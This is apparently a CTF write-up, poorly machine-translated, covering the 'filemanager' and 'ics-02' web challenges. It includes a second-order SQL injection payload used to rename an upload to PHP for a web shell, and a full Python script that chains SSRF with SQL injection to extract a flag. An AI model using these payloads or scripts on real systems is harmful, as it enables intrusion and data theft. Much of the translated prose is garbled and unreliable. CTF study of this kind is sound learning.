filemanager
Inspection point: secondary injection + code audit capability
Old rule – > scan directly
The existing directory is found to be
Find a www.tar GZ file
Combined with the upload function in the web page
The idea of guessing this question may be to use the leaked file to audit the code and upload it successfully
Get getshell
So download it and start auditing the code
Audit a wave
upload.php
find
① There can only be these five types of files in the file, otherwise the error class status will be echoed – > use in_ The array command implements the function of comparison
② When the file already exists, it will reply to the existing status and characteristics of the file
③ Using move_uploaded_file changes the name and path of the uploaded file, and inserts the path and name class of the file into the file
It is found that it is possible to construct sql statements and then execute them in rename
reason:
here oldname='{$result['filename']}' Will be found in the database $result['filename']It is put into storage again, resulting in a secondary injection.
rename. After PHP file analysis
filename=$req['oldname '] is to query whether the oldname entered from the database lies in the filename field, and then update it
oldname={$result['filename ']} updates the filename previously queried from the database to oldname, and stores it again, resulting in secondary injection
You can use sql injection to affect that the extension is empty, and then add it when modifying the file php suffix
Bypass file_exists() only needs to upload a file name that is the same as the value of filename in the database again
Execution process
① Create a new empty file
',extension='.jpg
② Renamed upload jpg
About to change 'extension =' to upload Jpg – > features in the database at this time
update `file` set `filename`='upload.jpg', `oldname`='',extension='' where `fid`={$result['fid']}"
③ Upload at jpg
After uploading, change the name to upload PHP to get shell
Get flag
Understanding – > the article of the boss understands the causes, conditions and characteristics of the secondary injection here
The most important thing is the last five lines. Oldname and newname,There are several characteristics: The suffixes are the same $result['extension'] oldname The file name is from the database, newname The file name comes from user input. First, the suffix is the same, which leads to getshell It seems difficult to complete if you want to getshell Then we must put "non".php"Rename the suffix file to“.php"File. How to rename the same suffix? Unless the suffix is empty! So our update Type injection began to come in handy. adopt update Type injection, we can put it into the database extension The value of the field is changed to blank, and it can also be controlled filename That means I can control rename The value of the two parameters of the function, so getshell It's close at hand. But there is another hole. When changing the name here, we checked whether the file exists: if(file_exists($oldname))Although I modified it through injection filename Value, but I upload The file name uploaded under the directory has not been changed. Because I use injection to extension If it is changed to empty, then in fact filename There is always one suffix less than the real file name in the file system. So here file_exists It can't be verified. What should I do? Easy, upload a new file again, and the file name is equal to that in the database filename Just the value of.
ics-02
Directory scanning starts
And some interesting things are also scanned through burp scanning
Open the scanned directory
Get these two interesting things
I'm a little confused about how to do this problem. I doubt it may really have something to do with that document
Put it first
Discover the script of the big guys
import requests import random import urllib url = 'http://220.249.52.133:46108/download.php' # subquery = "database()" # ssrfw # subquery = "select table_name from information_schema.tables where table_schema='ssrfw' LIMIT 1" # cetcYssrf # subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1" # secretname -> flag # subquery = "select column_name from information_schema.columns where table_name='cetcYssrf' LIMIT 1, 1" # value -> flag{cpg9ssnu_OOOOe333eetc_2018} subquery = "select value from cetcYssrf LIMIT 1" id = random.randint(1, 10000000) d = ('http://127.0.0.1/secret/secret_debug.php?' + urllib.parse.urlencode({ "s": "3", "txtfirst_name": "L','1',("+subquery+"),'1'/*", "txtmiddle_name": "m", "txtLast_name": "y", "txtname_suffix": "Esq.", "txtdob": "*/,'01/10/2019", "txtdl_nmbr": id, "txtRetypeDL": id }) + "&") r = requests.get(url, params={"dl": d}) print(r.text)
upload
Obtained after scanning
There should be something, but I can't read it